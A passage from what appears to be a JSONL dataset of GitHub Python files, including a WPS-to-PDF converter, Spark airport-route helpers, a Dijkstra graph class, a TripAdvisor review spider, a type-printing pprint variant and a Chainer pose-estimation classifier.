True","repo_name":"iamdoublewei/Leetcode","sub_path":"Python3/9. Palindrome Number.py","file_name":"9. Palindrome Number.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"32352184187","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport os\nimport win32com.client\n#数据分析报告\ndef ConvertByWps(sourceFile, targetFile):\n \"\"\"做一些异常情况的处理\"\"\"\n if not os.path.exists(sourceFile):\n print(sourceFile + \"不存在,无法继续!\")\n return False\n typemap = {\n 'doc': 'word',\n 'docx': 'word',\n 'ppt': 'ppt',\n 'pptx': 'ppt',\n 'xls': 'excel',\n 'xlsx': 'excel',\n }\n name_arr = sourceFile.split(\".\")\n suffix = name_arr[len(name_arr) - 1]\n wpstype = typemap.get(suffix)\n\n if (wpstype is None):\n return False\n\n os.system('taskkill /im wps.exe') # 使用wps文档的方式进行处理\n # 如果文件存在就删除\n if os.path.exists(targetFile):\n os.remove(targetFile)\n if wpstype == 'word':\n ConvertDocToPdf(sourceFile, targetFile)\n elif wpstype == 'ppt':\n ConvertPptToPdf(sourceFile, targetFile)\n elif wpstype == 'excel':\n ConvertXlsToPdf(sourceFile, targetFile)\n if os.path.exists(targetFile):\n return True\n else:\n return False\n\n\n\"\"\"真正的转化过程\"\"\"\n# 转换 Word文件档到pdf\ndef ConvertDocToPdf(src, dst):\n wps = win32com.client.Dispatch(\"Kwps.Application\")\n wps.Visible = False\n doc = wps.Documents.Open(src)\n doc.ExportAsFixedFormat(dst, 17)\n doc.Close()\n wps.Quit()\n\n\n# 转换 PPT文件档到pdf\ndef ConvertPptToPdf(src, dst):\n wps = win32com.client.Dispatch(\"Kwpp.Application\")\n wps.Visible = False\n ppt = wps.Presentations.Open(src)\n ppt.SaveAs(dst, 32)\n ppt.Close()\n wps.Quit()\n\n\n# 转换 XLS文件档到pdf\ndef ConvertXlsToPdf(src, dst):\n wps = win32com.client.Dispatch(\"Ket.Application\")\n excel = wps.Workbooks.Open(src)\n excel.ExportAsFixedFormat(0, dst)\n excel.Close()\n wps.Quit()\n\n\nif __name__ == '__main__':\n # 当前目录\n d = os.path.dirname(__file__)\n abspath = os.path.abspath(d)\n\n # 测试用例-docx文件\n src = r\"F:/test.docx\"\n dst = r\"F:/test.pdf\"\n r = ConvertByWps(src, dst)\n print(r)\n\n # 测试用例-excel文件\n src = r\"F:/test.docx\"\n dst = r\"F:/test.pdf\"\n r = ConvertByWps(src, dst)\n print(r)\n\n # # 测试用例\n # src = abspath + r\"/Doc/test.docx\"\n # dst = abspath + r\"/Doc/test.pdf\"\n # r = ConvertByWps(src, dst)\n # print(r)\n\n","repo_name":"xiaozhi308/CalibrationSoftware","sub_path":"GenerateReports/file_format_conversion_test.py","file_name":"file_format_conversion_test.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39813757202","text":"#!/usr/bin/python3\n\nimport cPickle as pickle\n\n# Write select data to text file\ndef write_file_data(domain = None, name_file_input = None, name_file_output = None, precision = 8):\n\n '''\n Writes simulation data to text file\n '''\n\n if name_file_input != None:\n domain = pickle.load(open(name_file_input, 'rb'))\n\n if name_file_output == None:\n name_file_output = 'data.out'\n\n file = open(name_file_output, 'w')\n\n str_format = '%.'+str(precision)+'e'\n\n file.write('Deformation Gradient\\n')\n for step in sorted(domain.variables['F']):\n domain.variables['F'][step].tofile(file, sep = ' ', format = str_format)\n file.write('\\n')\n\n file.write('Cauchy Stress\\n')\n for step in sorted(domain.variables['Cauchy_Stress']):\n domain.variables['Cauchy_Stress'][step].tofile(file, sep = ' ', format = str_format)\n file.write('\\n')\n\n file.close()\n\n# end def write_file_data(...):\n\n\n#\n# If run as 'python -m lcm_postprocess.write_file_data <name_file_input>'\n#\nif __name__ == '__main__':\n \n import os\n import sys\n\n try:\n\n name_file_input = sys.argv[1]\n\n except IndexError:\n\n raise IndexError('Name of input file required')\n\n if os.path.exists(name_file_input) == False:\n\n raise IOError('File does not exist')\n\n write_file_data(name_file_input = name_file_input)","repo_name":"sandialabs/LCM","sub_path":"src/LCM/utils/python/lcm_postprocess/write_file_data.py","file_name":"write_file_data.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"29"} +{"seq_id":"12526058189","text":"# Author: Steven\n# Description:\n# Uses Spark Dataframes to perform operations\n\nimport findspark\nfindspark.init()\nfrom pyspark.sql import SparkSession\n\nimport pandas as pd\n\nspark = SparkSession.builder.getOrCreate()\n\ndef getNeighbors(airportName, routesDF):\n \"\"\"\n Get the neighboring airports to a given airport.\n \n\n ### Returns\n - list of neighboring airports' names\n \"\"\"\n\n sparkDF = spark.createDataFrame(routesDF)\n\n sourceFiltered = sparkDF.filter(sparkDF[\"Source airport\"] == airportName)\\\n .select(\"Destination airport\").distinct()\n\n neighbors = list(sourceFiltered.toPandas().iloc[:,0])\n\n return neighbors\n\ndef prepareRoutes(routesList):\n \"\"\"\n The routes list is in improper format to convert into a Spark Dataframe.\n This function prepares the list to a valid format.\n\n ### Parameter\n - routesList: the default Routes collection retrieved from MongoDB\n\n ### Returns\n A pandas Dataframe containing only:\n - Source airport name\n - Destination airport name\n\n ### Bugs\n Due to improper BSON handling, some entries are not stored properly when the data was\n uploaded onto the MongoDB database. This results in non-standard schemas; some entries\n contain the incorrect field.\n \"\"\"\n\n routesDF = pd.DataFrame(routesList)\n routesDF = routesDF.drop(columns=[\"_id\",\"Codeshare\",\"Airline\"], axis=1)\n\n for x in routesDF.index:\n try:\n sourceName = routesDF.iloc[x][\"Airports\"][\"Source\"][\"Name\"]\n destName = routesDF.iloc[x][\"Airports\"][\"Destination\"][\"Name\"]\n except:\n sourceName = routesDF.iloc[x][\"Airports\"][\"Source Name\"]\n destName = routesDF.iloc[x][\"Airports\"][\"Destination Name\"]\n \n routesDF.at[x, \"Source airport\"] = sourceName\n routesDF.at[x, \"Destination airport\"] = destName\n\n routesDF = routesDF.drop(columns=[\"Airports\",\"Stops\"], axis=1)\n\n return routesDF\n\ndef getNeighborsList(airports, routesDF):\n \"\"\"\n Returns a Spark Dataframe of airports that are adjacent to the input `airports`.\n\n ### Parameters\n - airports: list of airport names (string)\n - routesDF: pandas Dataframe, given by prepareRoutes()\n\n ### Returns\n A Spark Dataframe, containing one column; that is the list of airports adjacent\n to the input `airports`. \n \"\"\"\n\n sparkDF = spark.createDataFrame(routesDF)\n\n sourceFiltered = sparkDF.filter(sparkDF[\"Source airport\"].isin(airports))\\\n .select(\"Destination airport\").distinct()\n\n return sourceFiltered\n\ndef withinNHops(airport, nHops, routesDF):\n \"\"\"\n Given an airport, what destinations are reachable within N hops?\n\n ### Parameters\n - airport: name of airport (string)\n - nHops: number of hops (int)\n - routesDF: pandas Dataframe, given by prepareRoutes()\n\n ### Returns\n A dict `{n: [airports], ...}` where `n` is the exact number of hops it takes\n to reach the list of airports: `[airports]`.\n\n ### Bugs\n Currently doesn't work.\n \"\"\"\n\n dFList = {}\n airports = [airport]\n\n if nHops is not int and nHops <= 0:\n return\n else:\n # Create DataFrame version of the dict first\n for hop in range(nHops):\n currDF = getNeighborsList(airports, routesDF)\n\n if len(dFList) > 0:\n cumulPrevDF = dFList[1]\n for prev in range(1, len(dFList)):\n prevDF = dFList[prev + 1]\n cumulPrevDF = cumulPrevDF.union(prevDF).distinct()\n\n currDF = currDF.subtract(cumulPrevDF)\n \n dFList.update({ (hop+1): currDF })\n\n airports = list(dFList[hop+1].toPandas().iloc[:,0])\n \n # Create list version of dict\n nHopsList = {0: [airport]}\n\n for hop in range(len(dFList)):\n nHopsList.update({ (hop+1): list(dFList[hop+1].toPandas().iloc[:,0]) })\n\n return nHopsList\n","repo_name":"Ignited42/airline-search-engine","sub_path":"src/data_operations/spark_operations.py","file_name":"spark_operations.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"40075763130","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov 30 10:52:15 2020.\n\n@author: timot\n\nalgo Dijkstra\n\"\"\"\n\n\n# import random\n\n\n# import networkx as nx\n# import matplotlib.pyplot as plt\n\n\nfrom list_pile import ListPile, ListFile2\n\n\nclass Matrice:\n \"\"\"A representation of a matrix can do calculs with.\n\n builder and others method\n \"\"\"\n\n def __init__(self, tabl: list):\n \"\"\"\n Another description.\n\n Parameters\n ----------\n tabl : list\n DESCRIPTION.\n\n Returns\n -------\n None.\n\n \"\"\"\n self.table = tabl\n\n def get_table(self):\n \"\"\"\n Get the list of list of adjacence.\n\n Returns\n -------\n TYPE\n DESCRIPTION.\n\n \"\"\"\n return self.table\n\n def get_max(self):\n \"\"\"\n Get the maxi.\n\n Returns\n -------\n maxi : TYPE\n DESCRIPTION.\n\n \"\"\"\n maxi = 0\n for i in self.table:\n if maxi < max(i):\n maxi = max(i)\n return maxi\n\n def __str__(self):\n \"\"\"\n Give a str represention of a adjcence matrix.\n\n Returns\n -------\n TYPE\n DESCRIPTION.\n\n \"\"\"\n return ('\\t{\\n' +\n \"\\n\".join((\" \".join([str(j).center(4) for j in i]))\n .center(len(self.table[0]) * 2 + len(self.table[0]))\n for i in self.table) + '\\n}\\n')\n\n def __list__(self) -> list:\n \"\"\"\n Return the table of the matrix.\n\n Returns\n -------\n list\n DESCRIPTION.\n\n \"\"\"\n return self.table\n\n def __len__(self) -> int:\n \"\"\"\n Return the nomber of nods.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return len(self.table)\n\n\nclass Graph:\n \"\"\"A representation of a graph.\n\n its all\n \"\"\"\n\n def __init__(self,\n dic: dict = None,\n matrice: Matrice = None,\n titre: str = \"defalut\") -> None:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n dic : dict, optional\n DESCRIPTION. The default is None.\n matrice : Matrice, optional\n DESCRIPTION. The default is None.\n titre : str, optional\n DESCRIPTION. The default is \"defalut\".\n\n Returns\n -------\n None\n DESCRIPTION.\n\n \"\"\"\n self.title = titre\n if dic is None and matrice is None:\n self.matrice = Matrice([[0, 0], [0, 0]])\n\n if dic is None:\n self.matrice = matrice\n self.dict = self.get_dict_by_matrice(self.matrice)\n\n elif matrice is None:\n self.dict = dic\n self.matrice = self.get_matrice_by_dict(dic)\n\n def get_dict_by_matrice(self, mat: dict) -> dict:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n mat : dict\n DESCRIPTION.\n\n Returns\n -------\n dict\n DESCRIPTION.\n\n \"\"\"\n return {chr(65 + k): [chr(65 + j)\n for j, l in enumerate(i)\n if l > 0]\n for k, i in enumerate(self.matrice.table)\n }\n\n def get_matrice_by_dict(self, dic: dict) -> Matrice:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n dic : dict\n DESCRIPTION.\n\n Returns\n -------\n Matrice\n DESCRIPTION.\n\n \"\"\"\n return Matrice([[1 for j in i] for i, k in self.dict.items()])\n\n def get_nb_sommets(self) -> int:\n \"\"\"\n Another description.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return len(self.dict)\n\n def nb_arretes(self) -> int:\n \"\"\"\n Another description.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n nb = 0\n for i, j in self.dict.items():\n nb += len(j)\n return nb // 2\n\n def get_sommet_degres(self, sommet: str) -> int:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n sommet : str\n DESCRIPTION.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return len(self.dict.get(sommet.capitalize()))\n\n def max_degres(self) -> int:\n \"\"\"\n Another description.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n maxi = 0\n for i, j in self.dict.items():\n if len(j) > maxi:\n maxi = len(j)\n return maxi\n\n def neightbours(self, sommet: str) -> int:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n sommet : str\n DESCRIPTION.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return self.dict.get(sommet.capitalize())\n\n def get_nb_sommets_mat(self) -> int:\n \"\"\"\n Another description.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return len(self.matrice)\n\n def get_nb_arretes_mat(self) -> int:\n \"\"\"\n Another description.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n nb = 0\n for i in self.matrice.table:\n for j in i:\n if j > 0:\n nb += 1\n return nb // 2\n\n def get_sommet_degres_mat(self, sommet: str) -> int:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n sommet : str\n DESCRIPTION.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n degre = 0\n for i in self.matrice.table[ord(sommet.capitalize()) - 65]:\n if i > 0:\n degre += 1\n return degre\n\n def get_degre_max_mat(self) -> int:\n \"\"\"\n Another description.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n maxi = 0\n for i in range(len(self.matrice)):\n if maxi < self.get_sommet_degres_mat(chr(i + 65)):\n maxi = self.get_sommet_degres_mat(chr(i + 65))\n return maxi\n\n def algo_dijska(self, depart: int = \"A\", arrivee: str = \"B\") -> tuple:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n depart : int, optional\n DESCRIPTION. The default is \"A\".\n arrivee : str, optional\n DESCRIPTION. The default is \"B\".\n\n Returns\n -------\n tuple\n DESCRIPTION.\n\n \"\"\"\n if 97 <= ord(depart) <= 122:\n depart = chr(65 + ord(depart) - 97)\n depart = self.debind(depart)\n nb_pts = len(self.matrice.table)\n tabl = [None] * nb_pts\n tabl[depart] = (0, 0)\n distance = 0\n colonne_lock = [None] * nb_pts\n\n j = depart\n colonne_lock[j] = j\n while colonne_lock != list(range(nb_pts)):\n for i in range(nb_pts):\n # print(i, j, A.matrice.table[j][i], tabl)\n if self.matrice.table[j][i] != 0:\n\n new_distance = distance + self.matrice.table[j][i]\n if tabl[i] is None:\n tabl[i] = (new_distance, j)\n\n elif tabl[i][0] > new_distance:\n tabl[i] = (new_distance, j)\n\n tabl_min = [tabl[i]\n for i in range(nb_pts)\n if i not in colonne_lock\n if tabl[i] is not None]\n\n if tabl_min:\n min_distance = tabl_min[0]\n for i in tabl_min:\n i: tuple\n if i[0] < min_distance[0]:\n min_distance = i\n j = tabl.index(min_distance)\n colonne_lock[j] = j\n distance = min_distance[0]\n\n a = {}\n for i in range(nb_pts):\n a[self.bind(i)] = (tabl[i][0], self.bind(tabl[i][1]))\n\n chemin = self.get_chemin(a, depart, arrivee)\n\n return a[arrivee][0], chemin\n\n def get_chemin(self, a: dict, depart: str, last: str) -> str:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n a : dict\n DESCRIPTION.\n depart : str\n DESCRIPTION.\n last : str\n DESCRIPTION.\n\n Returns\n -------\n str\n DESCRIPTION.\n\n \"\"\"\n if last == self.bind(depart):\n return last\n else:\n return self.get_chemin(a, depart, a[last][1]) + \"-\" + last\n\n def __str__(self) -> str:\n \"\"\"\n Another description.\n\n Returns\n -------\n str\n DESCRIPTION.\n\n \"\"\"\n return str(self.matrice)\n\n def bind(self, n: int) -> str:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n n : int\n DESCRIPTION.\n\n Returns\n -------\n str\n DESCRIPTION.\n\n \"\"\"\n return chr(65 + n)\n\n def debind(self, n: str) -> int:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n n : str\n DESCRIPTION.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return ord(n) - 65\n\n def get_lowest_distance_AB(self, depart: str, arrivee: str) -> int:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n depart : str\n DESCRIPTION.\n arrivee : str\n DESCRIPTION.\n\n Returns\n -------\n int\n DESCRIPTION.\n\n \"\"\"\n return self.algo_dijska(depart, arrivee)[0]\n\n def get_lowest_way_AB(self, depart: str, arrivee: str) -> str:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n depart : str\n DESCRIPTION.\n arrivee : str\n DESCRIPTION.\n\n Returns\n -------\n str\n DESCRIPTION.\n\n \"\"\"\n return self.algo_dijska(depart, arrivee)\n\n def parcours_profondeur(self, sommet):\n \"\"\"\n Another description.\n\n Parameters\n ----------\n sommet : TYPE\n DESCRIPTION.\n\n Returns\n -------\n sommets_fermes : TYPE\n DESCRIPTION.\n\n \"\"\"\n sommet = sommet.capitalize()\n sommets_visites = []\n sommets_fermes = []\n p = ListPile()\n sommets_visites.append(sommet)\n p.empiler(sommet)\n while not p.is_empty():\n tmp = p.sommet()\n voisins = [y for y in self.voisin(tmp) if y not in sommets_visites]\n sorted(voisins)\n if voisins:\n v = voisins[0]\n sommets_visites.append(v)\n p.empiler(v)\n else:\n sommets_fermes.append(tmp)\n p.depiler()\n return sommets_fermes\n\n def voisin(self, sommet: str) -> list:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n sommet : TYPE\n DESCRIPTION.\n\n Returns\n -------\n list\n DESCRIPTION.\n\n \"\"\"\n return self.dict[sommet.capitalize()]\n\n def parcours_largeur(self, dep: str) -> None:\n \"\"\"\n Parcours en largeur.\n\n Parameters\n ----------\n dep : str\n DESCRIPTION.\n\n Returns\n -------\n None\n DESCRIPTION.\n\n \"\"\"\n return_val = []\n vois = self.voisin(dep)\n return_val.append(dep)\n for i in vois:\n return_val.append(i)\n for i in vois:\n for j in self.voisin(i):\n if j not in return_val:\n return_val.append(i)\n return return_val\n\ndef voisin(G, sommet) -> list:\n \"\"\"\n Another description.\n\n Parameters\n ----------\n G : TYPE\n DESCRIPTION.\n sommet : TYPE\n DESCRIPTION.\n\n Returns\n -------\n list\n DESCRIPTION.\n\n \"\"\"\n return G[sommet]\n\n\ndef detection_cycle(G, sommet):\n \"\"\"\n Detect the present of a cycle in a graph.\n\n Parameters\n ----------\n G : TYPE\n DESCRIPTION.\n sommet : TYPE\n DESCRIPTION.\n\n Returns\n -------\n bool\n DESCRIPTION.\n\n \"\"\"\n sommets_visites = []\n f = ListFile2()\n sommets_visites.append(sommet)\n f.ajout((sommet, -1))\n while not f.is_empty():\n (tmp, parent) = f.retire()\n voisins = voisin(G, tmp)\n for vois in voisins:\n if vois not in sommets_visites:\n sommets_visites.append(vois)\n f.ajout((vois, tmp))\n elif vois != parent:\n return True\n return False\n\n\n\nif __name__ == \"__main__\":\n a = (Graph(matrice=Matrice([\n [0, 18, 22, 0, 0, 0, 0, 0, 0, 0, 0],\n [18, 0, 31, 13, 26, 0, 0, 0, 0, 0, 0],\n [22, 31, 0, 0, 0, 17, 0, 0, 0, 0, 0],\n [0, 13, 0, 0, 0, 0, 24, 0, 0, 0, 0],\n [0, 26, 0, 0, 0, 12, 10, 0, 0, 0, 0],\n [0, 0, 17, 0, 12, 0, 0, 0, 13, 0, 0],\n [0, 0, 0, 24, 10, 0, 0, 13, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 13, 0, 7, 0, 25],\n [0, 0, 0, 0, 0, 13, 0, 7, 0, 13, 0],\n [0, 0, 0, 0, 0, 0, 0, 0, 13, 0, 18],\n [0, 0, 0, 0, 0, 0, 0, 25, 0, 18, 0]]),\n titre=\"evidence\")\n )\n G = {}\n\n G['a'] = ['b', 'c']\n G['b'] = ['a', 'c', 'd', 'e']\n G['c'] = ['a', 'd', 'b']\n G['d'] = ['b', 'c', 'e']\n G['e'] = ['b', 'd', 'f', 'g']\n G['f'] = ['e', 'g']\n G['g'] = ['e', 'f', 'h']\n G['h'] = ['g']\n\n deplacement = [(i, j)\n for i in range(-2, 3)\n for j in range(-2, 3)\n if i != 0 and j != 0]\n\n echec = {(i, j): [(i + k, j + l) for k, l in deplacement\n if 0 < i + k < 8 and 0 < j + l < 8]\n for i in range(8)\n for j in range(8)}\n\n echiquier = Graph(titre=\"échiquier\", dic=echec)\n\n # print(\"\\n\", a.algo_dijska(\"A\", \"K\"), sep=\"\\n\")\n # print(\"\\n\", a.algo_dijska(\"B\"), sep=\"\\n\")\n","repo_name":"LCDG-tim/2020-exos","sub_path":"graph_dijsktra.py","file_name":"graph_dijsktra.py","file_ext":"py","file_size_in_byte":14286,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"70271179597","text":"# -*- coding: utf-8 -*-\n\"\"\"\n\n\nCreated on Wed Jun 14 11:11:41 2017\n\n@author: giotto\n\"\"\"\nfrom traceback import format_exc\nfrom scrapy import Request\nfrom scrapy.conf import settings\nfrom pymongo import MongoClient\nfrom scrapy.spiders import CrawlSpider\nfrom tripadv.items import Review_Item\nfrom geopy.geocoders import Nominatim\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\nimport logging\nlogger = logging.getLogger('Review_spider')\n\n\nclass Review_spider(CrawlSpider):\n\n name = \"review_hunter\"\n\n def __init__(self, country=None, city=None, schema=None):\n self.geolocator = Nominatim()\n mongo_credentials = settings['MONGODB']\n client = MongoClient(mongo_credentials)\n db = client.tripadvisor\n self.hotels_collection = db.hotels\n self.allowed_domains = [\"tripadvisor.com\"]\n\n def start_requests(self):\n '''called only once implicitly it yields the first request to parse\n which will eventually keep on yielding similar ones'''\n url_target = self.review_target_finder()\n if url_target:\n logger.debug(str(url_target))\n\n yield Request(url_target,\n # it lets re-perform the same request\n dont_filter=True,\n meta={\n 'dont_redirect': True,\n 'handle_httpstatus_list': [301, 302]\n },\n\n callback=self.parse,)\n\n def review_target_finder(self):\n room =\\\n next(self.hotels_collection.\n aggregate([{'$match': {\n '$or': [{'updates.reviews_updated':\n {'$exists': 0}},\n {'updates.reviews_updated':\n {'$lt': datetime.now() +\n relativedelta(weeks=-2)}},\n ],\n }},\n {'$project': {'hotel_url': 1}},\n {'$sample': {'size': 1}}, ]))\n if room:\n room[\"hotel_url\"]\n return room[\"hotel_url\"]\n else:\n logger.debug(\n 'hotel_target_finder did not find any available target')\n\n def parse(self, response):\n current_url = response.url\n item = Review_Item()\n response.xpath('//div[@class=\"reviewSelector\"]')\n\n page_number = int(\n response.xpath(\n '//div[@class=\"pageNumbers\"]/a/@data-page-number'\n ).extract()[-1])\n for page_number in range(page_number - 1):\n next_url =\\\n (current_url.split('-Reviews-')[0] +\n '-Reviews-or' + str((page_number + 1) * 5) +\n '-' + current_url.split('-Reviews-')[1])\n yield Request(next_url,\n # it lets re-perform the same request\n dont_filter=True,\n meta={\n 'dont_redirect': True,\n 'handle_httpstatus_list': [301, 302]\n },\n\n callback=self.parse,)\n","repo_name":"gbsbvm/tripadvisor","sub_path":"tripadv/spiders/review_spider.py","file_name":"review_spider.py","file_ext":"py","file_size_in_byte":3205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37754365834","text":"i = 0\nj = 1\n\nmin_ = 0\nmax_ = 1000 \n\nprint(\"Printing fibonacci numbers from \" + str(min_) + \" to \" + str(max_))\n\nwhile i < min_:\n\ttemp = j\n\tj += i\n\ti = temp\n\nwhile j < max_:\n\tprint(i)\n\ttemp = j\n\tj += i\n\ti = temp","repo_name":"Rift8844/Hello-Python","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40193270477","text":"\"\"\"Like pprint, but with types except for dictionary keys.\"\"\"\n\n\n__all__ = [\"pprint\", \"pformat\"]\n__author__ = \"Carl Bordum Hansen\"\n__license__ = \"MIT\"\n\n\nimport pprint as _pprint\nimport contextlib\n\n\ndef _new_safe_repr(object, context, maxlevels, level):\n \"\"\"Return object type name except for dict keys.\n \n Like `pprint._safe_repr`, but returns type name of object instead\n of object repr except for dictionary keys. Also formats lists and\n tuples nicely.\n\n Used to overwrite `pprint._safe_repr` with the context manager\n `change_pprint_repr`.\n \"\"\"\n typerepr = lambda object: type(object).__name__\n type_ = type(object)\n if type_ in _pprint._builtin_scalars:\n return typerepr(object), True, False\n\n r = getattr(type_, \"__repr__\", None)\n if issubclass(type_, dict) and r is dict.__repr__:\n if not object:\n return \"dict\", True, False\n context[id(object)] = 1\n readable = True\n recursive = False\n level += 1\n pairs = []\n for k, v in object.items():\n vrepr, vreadable, recur = _new_safe_repr(v, context, maxlevels, level)\n pairs.append(\"%s: %s\" % (repr(k), vrepr))\n readable = readable and vreadable\n if recur:\n recursive = True\n del context[id(object)]\n return \"{%s}\" % \", \".join(pairs), readable, recursive\n if issubclass(type_, (list, tuple)):\n if issubclass(type_, list):\n if not object:\n return \"list\", True, False\n format = \"[%s]\"\n else: # its a tuple\n if not object:\n return \"tuple\", True, False\n format = \"(%s)\" if len(object) != 1 else \"(%s,)\"\n context[id(object)] = 1\n readable = True\n recursive = False\n items = []\n level += 1\n for item in object:\n irepr, ireadable, irecur = _new_safe_repr(item, context, maxlevels, level)\n items.append(irepr)\n if not ireadable:\n readable = False\n if irecur:\n recursion = True\n del context[id(object)]\n if len(set(items)) == 1:\n items = [items[0]]\n return format % \", \".join(items), readable, recursive\n return typerepr(object), True, False\n\n\nclass DatatypingPrettyPrinter(_pprint.PrettyPrinter):\n def format(self, object, context, maxlevels, level):\n \"\"\"\n Override format to call _new_safe_repr\n \"\"\"\n return _new_safe_repr(object, context, maxlevels, level)\n\n\n def _format_dict_items(self, items, stream, indent, allowance, context, level):\n write = stream.write\n indent += self._indent_per_level\n last_index = len(items) - 1\n write(\"\\n\")\n write(\" \" * indent)\n for i, (key, ent) in enumerate(items):\n last = i == last_index\n rep = repr(key)\n write(rep)\n write(\": \")\n self._format(ent, stream, indent, allowance if last else 1, context, level)\n write(\",\\n\")\n if last:\n write((\" \" * indent)[: -self._indent_per_level])\n else:\n write(\" \" * indent)\n\n\ndef pprint(object, stream=None, indent=4, width=80, depth=None, compact=False):\n \"\"\"Pretty-prints the data structure.\"\"\"\n DatatypingPrettyPrinter(\n stream=stream,\n indent=indent,\n width=width,\n depth=depth,\n compact=compact\n ).pprint(object)\n\n\ndef pformat(object, indent=4, width=80, depth=None, compact=False):\n \"\"\"Return the pretty printed data structure of *object*.\"\"\"\n return DatatypingPrettyPrinter(\n indent=indent, width=width, depth=depth, compact=compact\n ).pformat(object)\n","repo_name":"carlbordum/datatyping","sub_path":"datatyping/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":3747,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"29"} +{"seq_id":"27946200903","text":"import numpy as np\n\nimport chainer.functions as F\nfrom chainer import link\nfrom chainer import reporter\n\nfrom cp_net.functions.mask_mean_squared_error import mask_mean_squared_error\n\nclass DualCPNetClassifier(link.Chain):\n\n def __init__(self, predictor, distance_sanity=0.1, method=\"RANSAC\",\n basepath='OcclusionChallengeICCV2015',\n im_size=(640, 480),\n output_scale=1.0,\n compute_class_accuracy = True, compute_pose_accuracy = True):\n super(DualCPNetClassifier, self).__init__(predictor=predictor)\n self.y = None\n self.cls_loss = None\n self.cp_loss = None\n self.ocp_loss = None\n self.loss = None\n self.cls_acc = None\n self.cp_acc = None\n self.ocp_acc = None\n self.rot_acc = None\n self.eval_rate = None\n self.ignore_label = -1\n self.lambda1 = 1e1\n self.lambda2 = 1e1\n self.distance_sanity = distance_sanity\n self.method = method\n self.compute_class_accuracy = compute_class_accuracy\n self.compute_pose_accuracy = compute_pose_accuracy\n\n self.output_scale = output_scale\n\n self.accfun = None\n if compute_pose_accuracy:\n # from cp_net.functions.old.model_base_consensus_accuracy import ModelBaseConsensusAccuracy\n from cp_net.functions.model_base_consensus_accuracy import ModelBaseConsensusAccuracy\n self.accfun = ModelBaseConsensusAccuracy(eps=0.6,\n distance_sanity=self.distance_sanity,\n method=self.method,\n im_size=im_size,\n base_path=basepath)\n\n def __call__(self, *args):\n assert len(args) >= 2\n x = args[:-10]\n t_cls, depth, t_cp, t_ocp, cp, rot, t_pc, obj_mask, nonnan_mask, K = args[-10:]\n self.y = None\n self.loss = None\n self.cls_loss = None\n self.cp_loss = None\n self.ocp_loss = None\n self.cls_acc = None\n self.cp_acc = None\n self.ocp_acc = None\n self.rot_acc = None\n self.eval_rate = None\n self.y = self.predictor(*x)\n y_cls, y_cp, y_ocp = self.y\n self.cls_loss = F.softmax_cross_entropy(y_cls, t_cls)\n self.cp_loss = mask_mean_squared_error(\n y_cp.reshape(t_cp.shape), t_cp / self.output_scale, nonnan_mask) * 0.1\n self.cp_loss += mask_mean_squared_error(\n y_cp.reshape(t_cp.shape), t_cp / self.output_scale, obj_mask.astype(np.float32)) * 0.9\n self.ocp_loss = mask_mean_squared_error(\n y_ocp.reshape(t_ocp.shape), t_ocp / self.output_scale, nonnan_mask) * 0.1\n self.ocp_loss += mask_mean_squared_error(\n y_ocp.reshape(t_ocp.shape), t_ocp / self.output_scale, obj_mask.astype(np.float32)) * 0.9\n self.loss = self.cls_loss + self.lambda1 * self.cp_loss + self.lambda2 * self.ocp_loss\n reporter.report({'l_cls': self.cls_loss}, self)\n reporter.report({'l_cp': self.cp_loss}, self)\n reporter.report({'l_ocp': self.ocp_loss}, self)\n reporter.report({'loss': self.loss}, self)\n if self.compute_class_accuracy:\n self.class_acc = F.accuracy(y_cls, t_cls, ignore_label=self.ignore_label)\n reporter.report({'cls_acc': self.class_acc}, self)\n if self.compute_pose_accuracy:\n self.cp_acc, self.ocp_acc, self.rot_acc, self.eval_rate= self.accfun(y_cls, y_cp * self.output_scale, y_ocp * self.output_scale,\n cp, rot, t_pc, depth, K, args[0])\n reporter.report({'cp_acc': self.cp_acc}, self)\n reporter.report({'ocp_acc': self.ocp_acc}, self)\n 